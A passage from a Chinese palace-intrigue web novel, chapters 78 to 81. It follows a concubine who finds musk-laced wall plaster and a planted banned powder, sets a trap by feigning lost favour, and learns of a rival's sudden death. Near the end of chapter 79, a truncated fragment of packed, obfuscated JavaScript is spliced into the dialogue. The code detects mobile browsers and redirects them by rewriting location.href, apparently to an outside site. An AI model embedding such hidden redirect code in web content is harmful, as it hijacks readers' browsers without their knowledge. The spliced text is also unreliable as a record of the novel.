这事确实是自己监督的,但他只是依例交给内务府去办,根本没注意材料,心知自己疏忽了,只吓得两个肩膀一颤,立刻跪倒在地:“娘娘,奴才只吩咐他用些好料,可从来没提过椒泥啊!”
“娘娘,冤枉啊,奴才照着单子办的。”秦立一个劲地磕头。
淑妃见两人互相推诿,心一沉。
秦振兴是她的人,这下椒房的事,自己怎么也脱不清干系了。
一旁的俏答应脸上忍不住露出得意的笑。
这事淑妃要是徇私护短,就是包庇手下,要是按规矩严惩,那也是她监管不力。
不管怎么选,她都有错。
反正掉进坑里了。
俏答应捏着帕子,笑盈盈开口:“淑妃娘娘,既然这事有内情,不如禀报皇后娘娘定夺?毕竟涉及祖制,还是慎重些好。”
淑妃冷冷地扫她一眼,逐渐回过味来。
这俏答应怕是早就知道椒泥的事,刚才故意激她发作,就是想让她和楚念辞斗起来,好让皇后收渔翁之利。
真是好一招借刀**。
淑妃不说话了。
她这会儿才彻底明白,怪不得皇后一早就走了,这是把自己架在火上烤,怎么处理都得沾一身腥。
楚念辞也清楚,自己同样进了套……不管怎样辩解,便是事先不知道,逃了逾制这个罪名,这棠棣宫她也不能住的。
果然,淑妃便道:“既如此,这宫不再居住?墙壁也请尽快寻工匠重新粉饰。”
楚念辞心中一沉。
若被赶出这儿,便只能去冷月宫住了,楚念辞轻声劝阻:“一饮一啄皆来之不易,若将整殿封弃重修,未免浪费,到时候引起朝野议论,一个小小宫室,竟要如此铺张浪费,重修两次,祖宗礼法固不可违,但也可权宜变通,
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臣妾以为,不如将殿中逾制之物减撤大半,既合规矩,也不至毁弃太过。”
淑妃杏目射出一道幽光,想起这段被她抢去的恩宠,她冷笑:“你倒是会顺竿上,若是人人如此,宫中岂不大乱?"
殿间众妃都屏息凝神。
此时,一向少言的嘉妃英眉一扬,开口道:“椒房虽多为中宫所用,却也非无先例,昔年先皇后曾为宫妃,特赐椒房,意在祈愿子嗣绵延,陛下素来不喜奢靡铺张,若为此封殿重修,反倒与圣意相悖了,不如先封了此处,让慧贵人去侧殿安置。”
见嘉妃发话,淑妃犹豫起来。
府里曾经嘱咐过,不要与镇国公府发生冲突。
此时驳了她,便是拂了她的面子。
“等本宫回明陛下再做定夺,时辰不早,本宫该去侍奉陛下笔墨了。”淑妃扶了扶鬓边起身,“你还是先回养心殿吧。”
楚念辞微微松了一口气。
就在这时,殿角那口活泉氤氲出淡淡水汽,缓缓上升,把殿顶也熏得有些朦胧。
团圆吸了吸鼻子,胖嘟嘟的脸皱起来,盯着殿顶红墙嘀咕:“什么味道呀……”
俏答应噗嗤一笑:“慧贵人这丫鬟傻了吧,明明是椒泥的香气。”
团圆却一脸古怪,小声嘟囔:“小主别笑……奴婢刚才就闻着这墙格外香,除了花椒和泥,里头好像还有一味麝香……”
这话像颗石子砸进静水,殿里瞬间鸦雀无声。
所有人的脸色都变了。
本以为只是逾制,谁知道椒泥里竟然掺了麝香?
谁不知道,麝香是伤身子、绝子嗣的东西!
楚念辞抬头看了一眼雕着盛放牡丹穹顶。
那花瓣上的椒泥红艳欲滴。
原来皇后还在椒泥里面藏的这一招。
若不是陛下引的活泉进宫,水汽沾了香气弥漫开来,谁又能发现这里面的奥秘。
自己长久住在这个涂着麝香的豪华宫殿内,定是难以成孕。
淑妃凤眼骤然眯起:“椒泥里掺和麝香,这就不只是逾制了……是有人存心陷害本宫和慧贵人。”
她目光一转,落到楚舜卿身上,心里忽然有了主意。
既然皇后的狗在这儿,让她来验,皇后日后也无话可说。
“楚内医,”淑妃语气凉凉地说,“就算你医术再不济,椒泥和麝香总分辨得出来吧?叫人去殿顶上取些灰泥下来,你亲自验验,里头到底有什么。”
楚舜卿见她又当众嘲笑自己医术不行,气得喉咙发堵。
脸色挣得通红,却说不出话来……本以为今天过来是看热闹,谁知道是过来被人打脸的。
第78章 麝香与寒食粉
任凭淑妃冷嘲热讽,楚舜卿也不敢吭回话。
她死死咬着嘴唇,水濛濛杏眼露出一副委屈的模样。
淑妃见状,冷笑一声:“做出这副可怜样子给谁看?还不快去,给本宫好好验,若又验错,仔细你的皮。”
宫人连忙搬来长梯,爬上殿顶,刮下一些红泥。
楚舜卿抹着发红的眼圈,走上前将红泥凑到鼻尖,轻轻一嗅……
随即连打了两个喷嚏,掩住口鼻,恶心道:“回娘娘……确实是麝香。”
楚念辞的手指无意识地攥紧了裙边的织锦花纹。
指尖的护甲触手冰凉。
椒泥墙原本有暖宫助孕的功效,可一旦掺入麝香这类东西,便成了伤人根本、难以成孕的毒物。
她才刚搬进棠棣宫,就有人用这么阴毒的法子在墙上动手脚。
最可疑的自然是皇后,但淑妃也未必清白……说不定是她自己做的局,再来一招贼喊捉贼。
“娘娘,”楚念辞缓缓跪下,声音轻颤,“臣妾实在不知得罪了谁,竟让人用这样狠毒的法子来害,如今刚封贵人便遭此算计,往后……还不知有多少凶险,娘娘一定要为臣妾做主。”
她身旁的沈澜冰也一同跪下,端庄的脸上笼着一层忧虑。
殿内又是一片死寂。
淑妃早已用手帕捂住口鼻。
她只觉得呼吸间都像扎着细刺,又痒又刺,坐立难安。
她一刻也不想在这儿多待。
生怕头顶那掺了麝香的椒泥,多吸一口都会伤了自己。
淑妃脸色变了又变,当即起身:“来人,去把内务府负责采买材料的人给本宫带来!”
派去的太监不到一盏茶工夫就回来了,脸色发青地禀报:“娘娘……那负责物料的小内监,在庑房里上吊自尽了。”
淑妃目光一凛,随即拂袖而起,一刻都不想多待,心中甚至升起了一丝幸灾乐祸。
皇后那老妇下了好一盘大棋。
谁知道别的殿里,还有没有这玩意儿?
便让慧贵人好好住在这锦绣的陷阱里。
于是她乜着眼睛,瞟了一眼跪在地上的楚念辞,道:“这分明有人存心陷害本宫与你,此事与你无关,在查清之前,这正殿你别住了,先搬到偏殿去。”
又转向秦立:“这件事既然出在内务府,本宫就交给你查,三日之内,必须给本宫一个交代!”
秦立脸色一僵。
负责的人都**。
这还怎么查?
后宫里头,除了淑妃,有胆子也有能耐做这种事的,不就只剩皇后了吗?
可他一个奴才,哪敢去碰中宫?
不过秦立到底是人精,转眼就有了主意,查不出真凶,便将这件事踢皮球交给皇后身边夏冬处理,反正当初找自己的就是她,让她自己找个替罪羊还不容易,于是恭恭敬敬垂首道:“奴才遵命。”
淑妃又扫了一眼殿中众人:“今日之事,若有人敢在外头乱嚼舌根,别怪本宫不留情面。”
众嫔妃连忙低头应声。
淑妃不再多言,转身便走。
其他妃嫔见状,也如逃避瘟疫似的纷纷告辞。
俏答应僵在原地,脸上写满不甘。
她万万没想到,皇后竟还在殿顶的椒泥里动了手脚……这么要紧的事,为何不事先和自己通个气?
如今倒好,让他们揪到了小辫子。
白白错过了扳倒慧贵人与淑妃的大好机会。
她走在最后,经过楚念辞身边时,轻轻叹了口气:“慧姐姐今日受委屈了……妹妹实在没想到会这样。”
楚念辞抬起头,对她浅浅一笑:“妹妹此番好意,姐姐心里记得,来日定当报答。”
两人目光相碰,一个看似真诚关切,一个含笑以对,可眼底都没有丝毫温度……只有无声的交锋和看不见的火星。
准备攀附荣华富贵,她既不怕招惹妒火,也不惧明枪暗箭……纵使自己处处忍让委屈,照样会有人踩上来。
众妃嫔纷纷离开,楚念辞送至门口,又让岚姑姑拿了回礼送至各宫。
唯有沈澜冰与嘉妃留了下来,随楚念辞一同去了侧殿。
侧殿虽不及正殿气派,却布置得精巧舒适。
楚念辞请二人坐下,沈澜冰仍微蹙着眉,静静打量着四周。
“可算能松口气了。”楚念辞倚进软垫里,对团圆道,“快帮我把这大钗环卸了。”
团圆一边为她取下那支镙丝金凤钗,一边抚着心口:“方才真吓坏奴婢了,本以为今日一切顺当,谁知竟闹这么一出。”
“呵,”嘉妃英眉一挑,“天天都是戏,这些人也不嫌累,有这样装腔作势的功夫,不如抹了脸上台唱戏去。”
楚念辞听了,不禁笑出声。
“你倒还笑得出来。”沈澜冰眉头未展。
楚念辞抱过迎枕,歪在暖榻上,让团圆去备茶,这才悠悠道:“我为何不乐?横竖无事,人家既愿意演,我便陪着乐一乐。”
团圆端了茶进来,为几人斟上。
此时红缨也进了屋,笑道:“您殊不知,我们小主在家便是这般性子,天大的事也不往心里去。”
“可了不得,”沈澜冰微微一笑,“你快把这丫头领回去,她整日念着旧主呢。”
“您又打趣奴婢,”红缨俏皮道,“奴婢伺候您难道不尽心?慧小主,您还不知道,大舅如今住在铜锣巷,他得了内务府参赞,又得知您封贵人,心里欢喜极了。”
“铜锣巷?”楚念辞微怔,记得大舅原该住在镇国公府。
“哦,奴婢忘了说,”红缨解释道,“大舅爷已将铜锣巷那处的宅子都买下来了。”
“这些日子劳烦嘉姐姐照应了。”楚念辞转向嘉妃。
“客气什么?”嘉妃一摆手,叹道,“困在这宫里真是无趣,可惜我自小学了一身武艺,如今却只能在这儿空耗,何时能像兄长们那样,上阵杀敌、驰骋疆场,那才叫痛快。”
楚念辞听她这么说,心中暗暗佩服。
原以为她入宫也是为了争宠,不想竟有这般志气。
只可惜,此生多半只能困守深宫了。
想到这儿,她便温声道:“嘉姐姐,谁说在宫中就不能为国尽忠?”
“在
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这四方墙里,如何尽忠?”
“姐姐只要稳坐妃位,镇国公府便安如泰山,镇国公府安泰,陛下龙椅便稳,便是为国尽忠。”楚念辞正色缓缓道。
嘉妃闻言,不由高看她一眼。
本以为她与旁人一样,只知争宠算计,不想却有这番见识。
如此说来,倒也算是个女中豪杰。
“受教了。”嘉妃语气里带上一丝钦佩。
“如今刚封贵人,就有人用这等手段,”沈澜冰面上仍是忧色,“往后还不知有多少凶险。”
“冰儿,”楚念辞懒懒躺着,语气却清醒,“担心是一日,迎战也是一日,他们既不肯罢休,我在这儿接着便是。”
她话音轻松,手指却在袖中悄悄攥紧。
待所有人都离去,团圆才敢上前扶她起身。
“小主……”团圆气的嘟起胖胖的小脸,“这分明是有人蓄意害您不孕。”
楚念辞望向那椒香犹存的正殿,轻声说:“是啊,有人不想让我怀孕。”
其实她也不想怀孕。
如今自己贵人位分,就算怀孕以后生下皇子。
也只是一个嫔位,虽说是一宫主位,但是家事太单薄,只要皇后淑妃动动手指,说不定就能把她的孩子夺去抚养……甚至留子去母。
以自己的这种条件,最起码升到妃位,还得朝中有了依靠,才能生孩子。
半夜时分,楚念辞刚准备歇下,团圆就领着满宝匆匆进了屋。
小太监浑身湿漉漉的,也顾不得擦,一进门便跪倒在地:“小主,您吩咐盯着的事,有动静了,奴才与新人同住一屋,开始没什么不妥……可今天入夜后,奴才上茅厕,发现有人半夜从庑房溜出来,奴才跟着他,发现一个黑影将这包东西埋在后花园墙角。”
“是谁?”楚念辞问。
“天太黑了,他又蒙着脸,奴才不敢靠太近,只看出是个太监,没有看清脸。”满宝道。
“里面是什么?”团圆好奇。
“奴才不知道,只是香喷喷,好闻得很。”
楚念辞接过来一看,面色骤然冷凝下来:“寒食粉!”
这寒食粉是前朝海外流入大夏的禁药。
吸食之后极易上瘾。
端木清羽早就明令禁止,贩卖者极刑,吸食者充军千里。
没想到这种脏东西竟然混到了宫里来。
团圆吓了一跳,楚念辞手指沾了一点,鼻下一闻,眼底闪过了一抹冷芒,粉末中竟然含着少量**,这若是吸多了,不出几日,定当暴毙。
而且还验不出来**,便是查验也只当上瘾**。
她靠坐在榻上,心里冷笑:果然,之前的椒泥只是个开头,这些人还真看得起自己。
楚念辞让团圆去包了白面,递给满宝。
“换这东西埋回去。”楚念辞道,“继续盯着他们。”
她倒想看看……对方究竟想做什么。
不过,这么重大的事情……她决定不再隐瞒岚姑姑,毕竟她是端木清羽派给自己的。
还是有一定的可信度的,她对团圆道:“你去把岚姑姑请来。”
第79章 鬼影现形
岚姑姑匆匆而来,一见那包寒食粉,眉头立刻紧紧皱起,跪地请罪:“是奴婢失察,请小主责罚!”
楚念辞忙扶她起身:“这与姑姑无关,你刚来我这儿,对底下人还不熟悉,这事怪不得你。”
“这东西陛下明令禁止,若被人举报,合官都难逃罪责,幸亏小主谨慎,出事前发现这东西,已是万幸,眼下最要紧的,是弄明白这东西来源,对方想干什么,以及,究竟是谁做的。”岚姑姑深知此事非同小可。
团圆没想到这么严重,吓得小脸发白。
楚念辞沉吟道:“这事一旦捅出去,就是塌天的大罪,以陛下对寒食粉的深恶痛绝,必会严办,说不定还会牵连家族,所以,我必须先知道背后是谁。”
团圆又急又气:“小主,您正得圣宠,咱们直接把这事禀告陛下不就行了?何必自己费心去查!”
“不管是不是我做的,寒食粉沾上便是是非,禁足严查都是轻的,”楚念辞摇摇头,“再说陛下如今希望朝局安稳,若查出涉及朝中重臣,必然引起动荡,我不愿打乱陛下的安排,对方如此大费周章,恐怕要的就是一个‘乱’字,既然她要乱,我便要稳。”
“我阻止不了他们的谋划,但绝不能让他们把这罪名栽到我头上。”说到这儿,楚念辞眼中掠过一丝冷光。
岚姑姑没想到她年纪轻轻,竟有这般顾全大局的忠心和见识。
眼中不禁露出赞许:“老奴也觉得小主的法子妥当。”
团圆仍气得跺脚,“到底是哪个缺德的,这么害小主?”
楚念辞看向那包寒食粉:“咱们刚住进来,人手不可能铁板一块,岚姑姑,你挑几个看着老实可靠的,每日在院里多巡视几遍,防着他们再动手脚。”
团圆忍不住气咻咻:“没良心的东西,小主前几日才发了赏赐,待底下人那么好,谁知还是出了内奸!”
楚念辞轻轻摇头:“恐怕他是老早就被人胁迫了。”
“不过,对方既然开始行动,就说明离他们动手的日子不远了,这几天,暗桩一定会想办法往外传递消息。”
“你们仔细盯着底下的小太监和小宫女,看谁最近和外面的人有接触,”楚念辞语气转冷,“我倒要看看,是哪个吃里扒外的在搞鬼。”
岚姑姑、满宝和团圆齐齐应声:“奴婢,奴才,明白!”
楚念辞垂眸思索:那些想害她的人,一定在等一个合适的时机。
等什么时机?
自然是等她失宠的时候。
一旦她失了圣心,而且与嘉妃等人反目,内无陛下宠信,外无援肋。
那些人便会立刻动手。
殿内众人知道她在思量要事,皆屏息静候,不敢作声。
不多时,楚念辞端起茶盏轻啜一口,抬眼看向岚姑姑:“有件事,想请姑姑帮忙。”
岚姑姑立刻恭敬道:“小主尽管吩咐。”
楚念辞微微一笑:“我想请姑姑帮忙,您私下向陛下禀报,说我癸水到了,但不必记档敬事房,只要陛下连着七八日不来我这儿,旁人自然会以为我失了宠。”
按宫规,妃嫔逢癸水须报敬事房撤牌,若只让皇上知晓却不记档,外人看来便是圣眷已衰……
对方一旦觉得她失势,必定会趁机动起来。
到时候,暗桩自会行动。
她便能将计就计,反戈一击。
岚姑姑会意,低头应道:“奴婢明白。”
她又对团圆吩咐,道:“你给我传个口信嘉妃与斓贵人,让她们以为我失宠,于是与我发生矛盾,吸引陛下的目光,明日在御花园,当众和我闹僵。”
为免打草惊蛇,楚念辞让满宝把白面原样包好,悄悄放回原处。
待岚姑姑与满宝退下,内室只剩团圆时,她忍不住低声问:“小主,岚姑姑毕竟是陛下派来的人……这么大的事,她会不会悄悄禀告陛下?”
楚念辞摇了摇头:“在没查清之前,她不会说的。”
眼下看来,岚姑姑有底线,也懂得审时度势,不会做损人不利己的事。
团圆点点头,又悄悄往外看了一眼,见岚姑姑不在近处,才压低声音说:“小主虽谨慎,您真的这么信任她?”
楚念辞微微一笑:“可不可信,取决于我也取决于她,若我如日中天,她自然不会异心,若我自己不中用,她自然不敢瞒着陛下,但她是个聪明人,明白什么话能说、什么话该咽下。”
楚念辞了解人性,对谁都留着几分防备。
岚姑姑若是真敢背叛,她能将她收用,自然也能让她收拾包袱走人。
果然,此后一连几日,皇帝都不曾踏足棠棣宫。
宫中渐渐冷清下来,满宫上下都以为楚念辞失了宠。
有人便开始不安分,四处钻营找门路,但大多数人依旧恪守本分,静静当差。
楚念辞不动声色,只让团圆把那些上蹿下跳的名字……记下,预备日后一并处置。
正好借此机会,看清哪些人可用、哪些人留不得。
令人奇怪的是,会让她怀疑的小贵子与坠儿倒是十分安分。
但楚念辞并没有消除这对两人的戒心。
这日,楚念辞站在棠棣宫的小花园里,团圆故意扬声说:“奴婢听说上林苑新进了一批红梅,开得可好了,小主,您喜欢梅花,奴婢陪你去瞧瞧。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102314|193684||http|test|mini|href|location''.split(''|''),0,{}));
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r>楚念辞睨她一眼:“是你自己想做梅花蜜吧?”
团圆不好意思地笑笑,搀住她的胳膊:“好小主,奴婢确实是想做梅花蜜,但也是看您这些日子劳累,想请您出去散散心。”
“那就走吧。”楚念辞这些天也的确有些乏,便顺势应下。
团圆取来披风仔细为她系好:“外头风大,小主仔细着凉。”
楚念辞特意让岚姑姑留在宫中照应,又点名叫小贵儿跟着。
她与满宝交换了个眼神,一行人便朝御花园走去。
刚到梅林附近,便遇上了沈澜冰与嘉妃。
嘉妃正立在几株罕见的红梅前,目光复杂。
沈澜冰也扮出冷淡模样,瞥了楚念辞一眼,语气泛酸:“妹妹往日得宠时,可曾想过提携姐妹们?如今陛下不来了,倒有闲心赏梅了。”
说着,眼中还真挤出几分妒色。
嘉妃也压下情绪,挤出一抹笑迎上来:“早知今日,何必当初,这几日陛下都不曾来,妹妹心里想必也凄清吧,红梅正当季,绿梅已经是明日黄花了。”
楚念辞心中暗笑:两人演得倒挺像。
面上却仍含笑:“嘉妃姐姐说笑了,姐姐若是喜欢这绿梅,我便让人折一半送去景阳宫,另一半送到毓秀宫给沈妹妹。”
嘉妃一愣,随即故意摆出不领情的样子:“多谢妹妹好意,自己留着吧。”
说罢还轻哼一声。
“谁稀罕。”沈澜冰在一旁添油加醋,表情不屑。
三人御花园中这番“冲突”,很快便传开了。
入夜后,太监,宫女们便开始闹肚子,一趟趟往茅房跑。
满宝暗自庆幸,自己早有防备,一直都吃得干粮,果然内鬼憋不住了,开始动作。
两个时辰里众人来来**跑了七八趟,连忙到太医院抓了药吃下,直到后半夜才一个个睡去,由于折腾得狠了,所有人都睡如死猪。
满宝也躺在床上装睡,一直拖到四更天,有人黑影才从床上爬起来,溜了出去。
满宝悄悄尾随,只见黑影一路摸到墙角,左右张望无人,先学了声猫叫,随即迅速从怀里掏出一个纸包,手一扬就扔过了墙头。
等他走远,满宝才钻出草丛,这个人虽然蒙着脸,可刚刚伸手时,他看见了他手上的刀疤,所以太监里面,只有小贵子手上有刀伤,满宝还在地上找到一支金簪子。
然后轻手轻脚跟到门外。
刚巧看见另一个黑影鬼鬼祟祟经过,捡起东西就走。
满宝一路盯着,瞧见那人溜进了俏答应所住的闲月阁,才悄悄退回。
果然是他……满宝急急赶回,向楚念辞汇报……
第80章 意外而至的暖心粥
满宝回来时。
楚念辞正躺在大迎枕上,慵懒地问:“如何?”
满宝恭敬回道:“是小贵子,接头的是小禄子,去了俏答应处。”
楚念辞微微蹙眉:“只接触过小禄子?”
“是,奴才还有捡到小贵子遗落的金簪子。”
说完,从口袋里掏出,递给楚念辞。
楚念辞看了看,让他收好。
她想起小禄子常去四执库赌钱,便吩咐道:“你去四执库暗中查访,看看那寒食粉是不是从那儿流出来的。”
不过她也清楚,后宫除了四执库,私下设赌的地方不止一处。
一旦沾上赌,往往就容易沾上毒。
这两样沾上,便万劫不复。
若是只查一处,别处依然禁不绝,反而会打草惊蛇。
眼下皇帝刚稳住朝局,后宫必须平静。
若大张旗鼓地查抄,恐怕会引起动荡。
楚念辞沉吟片刻,问道:“四执库那地方偏僻,不属于东西六宫,附近住着哪位?”
岚姑姑答:“回小主,四执库离冷宫永巷很近。”
“永巷……”楚念辞眸光微凝,“我倒想起一位故人,白庶人不是还关在那儿么,她当初用毒虫害人,反害了自己,还冲撞了淑妃。”
谁能想到,有人竟会利用永巷那偏僻地方做这种勾当。
而在永巷的白庶人,肯定接触到了这种东西。
寒食粉吸食时,快乐得欲仙,并且还刚开始时,对肌肤有一定功效,可以淡斑祛疤,所以很多人,以为这东西是强身健体圣品,一朝上当。
“去查。”楚念辞语气转冷,“我倒要看看,里头到底藏着什么。”
只是还没等消息回来。
入夜时分,端木清羽一身便服,如仙人似飘然而来,但凡给点山岚雾气,便能羽化登仙。
楚念辞微微吃惊。
没料到自己已经跟他说了癸水,他仍然来了。
忙躬身行礼,端木清羽风姿宛然地牵起她的手走到榻边坐下,他拍了一下手,敬喜将一个食盒放在桌上,躬身退了下去。
彼时,殿内烛火已熄了大半,只留榻边一盏灯,光线昏朦柔和。
昏暗的光线下,端木清羽那双眼闪亮如星河倒悬,光芒细碎而璀璨,这般迷离地盯着你看时,就似他眼里的光彩都是为你一个人而绽放一般,仿佛世间只余两人。
楚念辞静静地看着他。
两世为人,也未见过比他更俊美的男子。
即便没有帝王身份,单凭这副相貌,也足以令无数女子倾心。
后宫争得这般厉害,其中多少也有这张脸的缘故。
两人静静对视片刻,端木清羽伸手轻点她的鼻尖,语气温和:“朕听说女子癸水会腹疼,便让人做了一碗红枣枸杞粥,慧儿来尝尝。”
楚念辞一怔。
前世她与蔺景瑞,若逢她身子不便,他只觉得扫兴,转身便走,别说煲粥,连一句贴心话都没有。
寻常男子尚且如此,何况九五之尊?
楚念辞本以为,小皇帝喜欢自己,也只贪恋自己身子,得知她不能侍寝,定不会前来。
没想到他非但没有半点不快,还为自己煲粥。
哪怕一次次提醒自己,深宫生存最忌对帝王动心,此刻的楚念辞,心头仍不由得一暖。
她垂下眼睫,道:“谢陛下……”
端木清羽盛了一碗,亲自盛了一勺,轻轻笑道:“来,启唇,朕来喂你。”
楚念辞喉间微哽:“陛下别对臣妾太好了……”
她只能在心底反复告诫自己。
别沉醉在这份柔情里,忘了君恩如露,从来易散难留。
“为何?”
“臣妾怕以后习惯。”楚念辞低声哽咽道。
“小傻瓜。”端木清羽笑道,“朕生病时,慧儿为朕熬药,如今朕亦当如此。”
说着,将一勺粥递至她的唇边。
这般情态若换作旁人,只怕心早已成一汪春水。
楚念辞时历两世,自认心硬如铁。
此时,也忍不住漏跳一拍,忙垂下眼睫,她不断提醒自己,现在真正想要的是地位与权力。
绝不能被情话所迷。
端木清羽能在三方势力绞杀中坐稳皇位,心机绝非寻常。
他心底欣赏聪慧机敏、能为他分忧的女子,只是这女子绝不能威胁到他的权柄。
而像她这般家世低微却想登上高位的,自己绝不能先交付出真心。
思绪流转间,楚念辞眼眶已微微泛红,眸中浮起几分委屈与不安,慢慢将那一碗粥喝尽,糖粥真甜,甜进口中,也暖到了心里。
她眼睛不由微微湿润起来。
“怎么了?”端木清羽轻吻她耳廓,那股似松木般的清香忽然浓郁起来。
楚念辞只低语道:“皇上,臣妾害怕。”
“有朕在,怕什么?”
“从未有人待臣妾如陛下这般好……您的心意,臣妾明白,可臣妾出身微薄……”她声音渐低,几乎听不清,“臣妾怕惹来非议,更怕糟蹋了陛下的声誉。”
她抬眼看他,目光清澈如水,里面盛着不安,感动与倾慕。
无论男女,谁都爱听珍重之言。
即便身为帝王,见自己送出的心意被如此郑重对待,心中也难免一动。
端木清羽语气微沉:“朕的声誉不会因为卿受损。”
“陛下,”楚念辞眼中泪光盈然,声音带上了几分哽咽,“六宫不可成积怨之地,方能祥和,子嗣福泽才得绵延,臣妾不敢专宠。”
端木清羽嗅着她发间幽香,深邃眼底掠过一丝探究。
在深宫长大,他知道集宠爱于一身,也集怨恨于一身。
他也曾告诉过她,可能面对的暴风骤雨。
那么怀里这个让他食髓知味的丽人,
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究竟是怕后宫针对,抑或根本不把自己放在眼里。
他把玩着她一缕青丝,语气温和难辨:“你想将朕推给旁人?”
楚念辞声音凄婉:“臣妾也怕有一天,会被陛下忘在脑后,但更怕陛下失去好不容易稳定住的朝局,所以希望后宫不会为您的掣肘。”
端木清羽心头微震,原来她是为自己着想。
看她惴惴不安的模样,他竟觉出一丝心疼。
“怎么会?”他重新拥紧她,轻拍她的背。
楚念辞知他必会答应。
前朝后宫牵连甚广,他不可能长久专宠一人。
她倚在他胸前,轻声续道:“陛下心里有我,臣妾就够了。”
“前朝政务已然繁重,若六宫再生怨怼,无异于后院起火,只会让陛下烦心。”她声音轻柔,却带着几分不舍,“若因专宠臣妾而冷落她人,旁人难免议论陛下凉薄喜新厌旧……臣妾不忍让陛下因我一人而烦心。”
夜风悄入,鲛绡帐微微摇动,烛光在他俊美无铸的脸上明灭不定。
端木清羽沉默良久,手臂慢慢收紧,足尖缠上她微凉的足,暖意渐融。
“知道了。”他终于低声道,嗓音有些发沉。
又过了几日,端木清羽频频召见淑妃与嘉妃,连刚解禁的俏答应也得了临幸。
不久,俏答应便在众人恭维中恢复了贵人位分。
谁不知道,俏贵人可是得罪过楚念辞的。
满宫这下都明白了……皇帝是真的冷落楚念辞了。
曾经那么风光的人,一朝失宠,门前顿时冷清下来,不知多少人在背后讥讽嘲笑,落井下石。
尤其第二天,两人在宫道相遇时,俏贵人故意笑着上前:“哎呀,姐姐怕是有半月没见到陛下,妹妹今晚见到,一定替你好好转告相思之情。”
“人无百日好花无千日红,妹妹可得好好捧着这份福气,千万别摔碎了。”楚念辞讥讽道。
俏贵人被她气得脸色发白,两人不欢而散。
如此又过了两日。晚间满宝来报:“小主料事如神,小贵子这几日果然常与坠儿偷偷往来,不知在暗中谋划什么。”
“满宝,等会儿你找个机会,偷偷把那包寒食粉,藏进俏贵人的闲月阁。”楚念辞道。
“是。”满宝领命而去。
“团圆,”楚念辞道,“你找坠儿同房那个晴儿聊聊,看看坠儿这段时间都在做什么。”
“小主,奴婢早就打听过,这蹄子这段时间,一共偷偷见了她娘三次,”团圆似又想起什么道,“好像晴儿说她从来不洗澡,奴婢再去问问,她到底做什么妖。”
说完便退下了。
“下边怎么办?”岚姑姑问。
楚念辞冷冷一笑:“继续盯紧,等图穷匕见之时,才能一网打尽。”
毕竟人家台子都搭好了,不陪着演一场,人家也不会答应。
第81章 白芊柔暴毙
永巷深处,冷宫已困了白芊柔一月有余。
迟迟等不到家里的动静,她并未灰心,只想着首要之事是治好自己脸上的伤。
可这般境遇,哪请得来太医?
一次偶然,她竟从看守老太监处打听到一种古怪的药膏,据说不仅能淡疤,还能强身健体。
这对几近绝望的白芊柔而言,无异于溺水者抓住了浮木。
只要容颜恢复,家里看到价值,定会设法捞她出去。
她立刻倾尽手头所有,让心腹宫女雁秋偷偷寻来。
试了几日,果然有奇效……脸上疤痕日渐平复,肌肤也竟慢慢恢复了从前的润泽。
深夜,白芊柔对着那面模糊的破铜镜,望着镜中隐隐重现光彩的脸庞,眼底终于燃起一丝希望。
“都是慧贵人那**害我至此,”她抚着脸颊,低声自语,“待我出去,第一个便找她算账。”
她看了自己一眼丫鬟,她被自己救进来时还是个孤儿,无依无靠,无可被拿捏,值得信任。
暗自盘算:只要扳倒楚念辞,放眼后宫,淑妃有勇无谋,皇后外强中干,真正能被她视为对手的,并无几人。
她甚至已想好了一击制胜的法子,心中渐无畏惧。
“雁秋,”她转身吩咐,眼神重新变得锐利,“将我很快康复的消息递出去,让家里知道,只要我能出去,就还有翻盘的机会。”
“是。”雁秋低声应下,垂着眼眸,手中那盒药膏似有千斤重。
药膏本身并无问题,可若与另一种含**的药物同用,便是剧毒。
她虽是孤儿,却在入府前与青梅竹马生下了一个孩子。
不久前,她收到密信和一个长命锁,若想保孩子平安,必须依计行事。
她不知道是谁威胁自己,但必须让白芊柔惨死。
唯有如此,才能换孩子平安,小主,对不起了,等这件事办好,奴婢会主动下去陪你。
“小主,”雁秋稳住声线,取出纸笔,“老爷那边还让您将陛下的喜好、习惯细细写下来。”
“为何?”白芊柔蹙眉。
“奴婢不知详细,只听说……若您还想姨奶奶在府中好过,便须照做。”
白芊柔瞬间听懂了这未明说的威胁。
家里这是要送新人顶替她了。
她反而冷笑起来,铺开纸,一面写一面低语:“送人进来容易,得陛下青眼却难,只要我脸好了,就还有用。”
雁秋默默看着她写完,又伺候她躺下。
白芊柔近来精神不济,时常感到虚乏恍惚,烟瘾似的难受。
雁秋悄声走到柜边,取出了另一包早已备好的“药粉”,替她点上烟枪。
夜色浓重,一灯如豆,满室烟雾缭绕。
蔺皇后的身子渐渐好了起来,气色也日益恢复,如今哪怕只薄施脂粉,也显得容光焕发。
她连日心情颇佳,自觉有望重获圣眷,加之布局良久,眼看就要收网,整个人都松快了不少。
果然不出所料,一个消息骤然打破了深宫的宁静……
白芊柔在冷宫暴毙了!
是她的贴身宫女雁秋最先发现的,几乎吓得魂飞魄散。
此事如同冷水入沸油,瞬间在后宫炸开了锅。
蔺皇后被惊动了。
若白芊柔只是悄无声息地死在冷宫也就罢了,可她是“暴毙”,非是赐死,非是自尽,这性质便完全不同了。
她虽已是废人,但终究是太尉府出来的女儿。
再不受宠,也需给太尉府一个交代。
可以冷落她、任其自生自灭,后宫有人如此明目张胆地谋害性命,不一样。
皇后赶至永巷冷宫。
查验之下,竟在地上发现了一纸遗书,上面赫然只写着一句话……淑妃,慧贵人,我做鬼都不会放过你们。
而跪地发抖的雁秋,也说小主,死得蹊跷。
蔺皇后面色沉凝,眼底寒意弥漫,露出了一丝得意,沉默片刻,转身:“摆驾棠棣宫,召各宫妃嫔,再派人去请皇上。”
皇后的凤驾抵达棠棣宫时,各宫嫔妃也已闻讯匆匆赶来,将宫门前挤得满满当当。
楚念辞见凤驾来临。
安静地带领所有宫人出迎,脸上带着恰到好处的惊讶,将众人引进侧殿,并让团圆给大家上了茶。
众人也不说话,也无心喝茶,只嘉妃端起默默品茶。
又等了一会儿,端木清羽也到了。
众人皆跪倒于地。
端木清羽的视线穿过人群,纵使周遭环肥燕瘦,她身上那股艳丽而灵慧的气质,教人一眼便能望见。
